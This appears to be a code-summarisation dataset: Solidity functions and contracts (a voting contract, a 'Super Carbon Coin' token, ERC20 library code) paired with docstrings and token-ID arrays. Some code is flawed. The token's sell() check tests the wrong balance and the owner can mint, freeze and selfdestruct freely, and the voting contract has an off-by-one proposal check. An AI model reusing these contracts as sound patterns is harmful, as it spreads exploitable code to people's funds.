* @dev Allows the fund manager to connect to a new exchange portal @param _newExchangePortalAddress The address of the new exchange portal to use/ Require that the new exchange portal is permitted by permittedExchanges
function setNewExchangePortal(address _newExchangePortalAddress) public onlyOwner { require(permittedExchanges.permittedAddresses(_newExchangePortalAddress)); exchangePortal = ExchangePortalInterface(_newExchangePortalAddress); }
8,113,111
[ 1, 19132, 326, 284, 1074, 3301, 358, 3077, 358, 279, 394, 7829, 11899, 225, 389, 2704, 11688, 24395, 1887, 565, 1021, 1758, 434, 326, 394, 7829, 11899, 358, 999, 19, 12981, 716, 326, 394, 7829, 11899, 353, 15498, 635, 15498, 424, 6329, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 19469, 11688, 24395, 12, 2867, 389, 2704, 11688, 24395, 1887, 13, 1071, 1338, 5541, 288, 203, 565, 2583, 12, 457, 7948, 424, 6329, 18, 457, 7948, 7148, 24899, 2704, 11688, 24395, 1887, 10019, 203, 203, 565, 7829, 24395, 273, 18903, 24395, 1358, 24899, 2704, 11688, 24395, 1887, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// Voting.sol // SPDX-License-Identifier: MIT pragma solidity 0.6.11; import "https://github.com/OpenZeppelin/openzeppelin-contracts/contracts/access/Ownable.sol"; contract Voting is Ownable { /* Can be improved with some assert to check the count of vote after and before votes etc... */ struct Voter { bool isRegistered; bool hasVoted; uint256 votedProposalId; } struct Proposal { string description; uint256 voteCount; } enum WorkflowStatus { RegisteringVoters, ProposalsRegistrationStarted, ProposalsRegistrationEnded, VotingSessionStarted, VotingSessionEnded, VotesTallied } event VoterRegistered(address voterAddress); event ProposalsRegistrationStarted(); event ProposalsRegistrationEnded(); event ProposalRegistered(uint256 proposalId); event VotingSessionStarted(); event VotingSessionEnded(); event Voted(address voter, uint256 proposalId); event VotesTallied(); event WorkflowStatusChange( WorkflowStatus previousStatus, WorkflowStatus newStatus ); uint256 proposalId = 0; uint256 winningProposalId; // Declare workflow variable of type WorkflowStatus (which is enum) WorkflowStatus public workflow = WorkflowStatus.RegisteringVoters; //default = RegisteringVoters // Mapping mapping(address => Voter) whitelist; //map a voter to his address mapping(uint256 => Proposal) proposals; //map a proposal to his id // 1) Owner register the whitelist function registerVoter(address _address) public onlyOwner { require( !whitelist[_address].isRegistered, "this voter is already registered" ); Voter memory newVoter; newVoter.isRegistered = true; whitelist[_address] = newVoter; emit VoterRegistered(_address); } // 2) Owner makes register session begin function startProposalsRegistration() public onlyOwner { require( workflow == WorkflowStatus.RegisteringVoters, "Must be in the RegisteringVoters to start ProposalsRegistration" ); workflow = WorkflowStatus.ProposalsRegistrationStarted; emit ProposalsRegistrationStarted(); emit WorkflowStatusChange( WorkflowStatus.RegisteringVoters, WorkflowStatus.ProposalsRegistrationStarted ); } // 3) Whitelisted voters can register proposals function saveProposal(string memory _description) public { require( workflow == WorkflowStatus.ProposalsRegistrationStarted, "Saving a proposal must be during the Registration workflow" ); require( whitelist[msg.sender].isRegistered, "A voter must be registered to save a proposal" ); Proposal memory newProposal; newProposal.description = _description; proposals[proposalId] = newProposal; emit ProposalRegistered(proposalId); proposalId++; } // 4) Owner makes register session end function endProposalsRegistration() public onlyOwner { require( workflow == WorkflowStatus.ProposalsRegistrationStarted, "ProposalsRegistration must have been started to end it" ); workflow = WorkflowStatus.ProposalsRegistrationEnded; emit ProposalsRegistrationEnded(); emit WorkflowStatusChange( WorkflowStatus.ProposalsRegistrationStarted, WorkflowStatus.ProposalsRegistrationEnded ); } // 5) Owner makes voting session begin function startVotingSession() public onlyOwner { require( workflow == WorkflowStatus.ProposalsRegistrationEnded, "ProposalsRegistration must end before to start the VotingSession" ); workflow = WorkflowStatus.VotingSessionStarted; emit VotingSessionStarted(); emit WorkflowStatusChange( WorkflowStatus.ProposalsRegistrationEnded, WorkflowStatus.VotingSessionStarted ); } // 6) Whitelisted voters can vote for proposals function voteForProposal(uint256 _proposalId) public { require( workflow == WorkflowStatus.VotingSessionStarted, "Voting for proposal must be during the Voting session" ); require( whitelist[msg.sender].isRegistered, "A voter must be registered to save a proposal" ); require( _proposalId <= proposalId, "Your choice of proposal is too high, there are less proposals" ); require(!whitelist[msg.sender].hasVoted, "Voter can only vote once"); whitelist[msg.sender].hasVoted = true; whitelist[msg.sender].votedProposalId = _proposalId; proposals[_proposalId].voteCount++; emit Voted(msg.sender, _proposalId); } // 7) Owner makes voting session end function endVotingSession() public onlyOwner { require( workflow == WorkflowStatus.VotingSessionStarted, "VotingSession must have been started to end it" ); workflow = WorkflowStatus.VotingSessionEnded; emit VotingSessionEnded(); emit WorkflowStatusChange( WorkflowStatus.VotingSessionStarted, WorkflowStatus.VotingSessionEnded ); } // 8) Owner count the votes function tallyVotes() public onlyOwner { require( workflow == WorkflowStatus.VotingSessionEnded, "VotingSession must have ended before VotesTallied" ); workflow = WorkflowStatus.VotesTallied; emit VotesTallied(); emit WorkflowStatusChange( WorkflowStatus.VotingSessionEnded, WorkflowStatus.VotesTallied ); // tally the vote winningProposalId = 0; // init winningProposalId for (uint256 i = 0; i < proposalId; i++) { if ( proposals[i].voteCount > proposals[winningProposalId].voteCount ) { winningProposalId = i; } } } // 9) Everyone can see the restults function getWinningProposal() public view returns (uint256) { return winningProposalId; } // non mandatory for Defi but useful for my test function getNumOfProposals() public view onlyOwner returns (uint256) { return proposalId; } }
8) Owner count the votes tally the vote
function tallyVotes() public onlyOwner { require( workflow == WorkflowStatus.VotingSessionEnded, "VotingSession must have ended before VotesTallied" ); workflow = WorkflowStatus.VotesTallied; emit VotesTallied(); emit WorkflowStatusChange( WorkflowStatus.VotingSessionEnded, WorkflowStatus.VotesTallied ); for (uint256 i = 0; i < proposalId; i++) { if ( proposals[i].voteCount > proposals[winningProposalId].voteCount ) { winningProposalId = i; } } }
5,476,228
[ 1, 28, 13, 16837, 1056, 326, 19588, 268, 1230, 326, 12501, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 268, 1230, 29637, 1435, 1071, 1338, 5541, 288, 203, 3639, 2583, 12, 203, 5411, 6095, 422, 11363, 1482, 18, 58, 17128, 2157, 28362, 16, 203, 5411, 315, 58, 17128, 2157, 1297, 1240, 16926, 1865, 776, 6366, 56, 454, 2092, 6, 203, 3639, 11272, 203, 3639, 6095, 273, 11363, 1482, 18, 29637, 56, 454, 2092, 31, 203, 3639, 3626, 776, 6366, 56, 454, 2092, 5621, 203, 3639, 3626, 11363, 1482, 3043, 12, 203, 5411, 11363, 1482, 18, 58, 17128, 2157, 28362, 16, 203, 5411, 11363, 1482, 18, 29637, 56, 454, 2092, 203, 3639, 11272, 203, 3639, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 14708, 548, 31, 277, 27245, 288, 203, 5411, 309, 261, 203, 7734, 450, 22536, 63, 77, 8009, 25911, 1380, 405, 450, 22536, 63, 8082, 2093, 14592, 548, 8009, 25911, 1380, 203, 5411, 262, 288, 203, 7734, 5657, 2093, 14592, 548, 273, 277, 31, 203, 5411, 289, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** 官方高級token */ pragma solidity ^0.4.18; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } function destruct() public onlyOwner { selfdestruct(owner); } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20() public { totalSupply = 5000000000 * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = "Super Carbon Coin"; // Set the name for display purposes symbol = "SCC"; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract SuperCarbonCoinToken is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; uint256 public decimals = 18; string public tokenName; string public tokenSymbol; uint minBalanceForAccounts ; //threshold amount mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ function SuperCarbonCoinToken() public { owner = msg.sender; totalSupply = 5000000000000000000000000000; balanceOf[owner]=totalSupply; tokenName="Super Carbon Coin"; tokenSymbol="SCC"; } /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient emit Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; emit Transfer(0, this, mintedAmount); emit Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value / buyPrice; // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract ///@param amount amount of tokens to be sold function sell(uint256 amount) public { //require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy require(balanceOf[msg.sender] >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks } /* 设置自动补充gas的阈值信息 201803202232 james */ function setMinBalance(uint minimumBalanceInFinney) public onlyOwner { minBalanceForAccounts = minimumBalanceInFinney * 1 finney; } /* 设置tokenname */ function setTokenName(string newTokenName) public onlyOwner{ tokenName = newTokenName; name = newTokenName; } /* 设置tokenSymbol */ function setTokenSymbol(string newTokenSymbol) public onlyOwner{ tokenSymbol = newTokenSymbol; symbol = newTokenSymbol; } /* 空投 */ function AirDrop(address[] dests, uint256[] values) public onlyOwner returns(uint256) { uint256 i = 0; while (i < dests.length) { _transfer(this,dests[i], values[i]); i += 1; } return i; } }
This generates a public event on the blockchain that will notify clients */ Initializes contract with initial supply tokens to the creator of the contract */
function SuperCarbonCoinToken() public { owner = msg.sender; totalSupply = 5000000000000000000000000000; balanceOf[owner]=totalSupply; tokenName="Super Carbon Coin"; tokenSymbol="SCC"; }
14,387,985
[ 1, 2503, 6026, 279, 1071, 871, 603, 326, 16766, 716, 903, 5066, 7712, 342, 10188, 3128, 6835, 598, 2172, 14467, 2430, 358, 326, 11784, 434, 326, 6835, 342, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 14845, 39, 11801, 27055, 1345, 1435, 1071, 288, 203, 202, 202, 8443, 273, 1234, 18, 15330, 31, 203, 202, 202, 4963, 3088, 1283, 273, 1381, 12648, 12648, 12648, 3784, 31, 203, 202, 202, 12296, 951, 63, 8443, 65, 33, 4963, 3088, 1283, 31, 203, 202, 202, 2316, 461, 1546, 8051, 13353, 28932, 14432, 203, 202, 202, 2316, 5335, 1546, 2312, 39, 14432, 203, 202, 97, 203, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/80001/0x7902a4929d9Ae3eEcC147556BC113B953c0e1b18/sources/contracts/bases/ToucanCarbonOffsetsBase.sol
@dev Returns the remaining space in TCO2 contract before hitting the cap
function getRemaining() public view returns (uint256 remaining) { uint256 cap = getDepositCap(); remaining = cap - totalSupply(); }
869,986
[ 1, 1356, 326, 4463, 3476, 316, 399, 3865, 22, 6835, 1865, 6800, 1787, 326, 3523, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 336, 11429, 1435, 1071, 1476, 1135, 261, 11890, 5034, 4463, 13, 288, 203, 3639, 2254, 5034, 3523, 273, 336, 758, 1724, 4664, 5621, 203, 3639, 4463, 273, 3523, 300, 2078, 3088, 1283, 5621, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.23; // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { 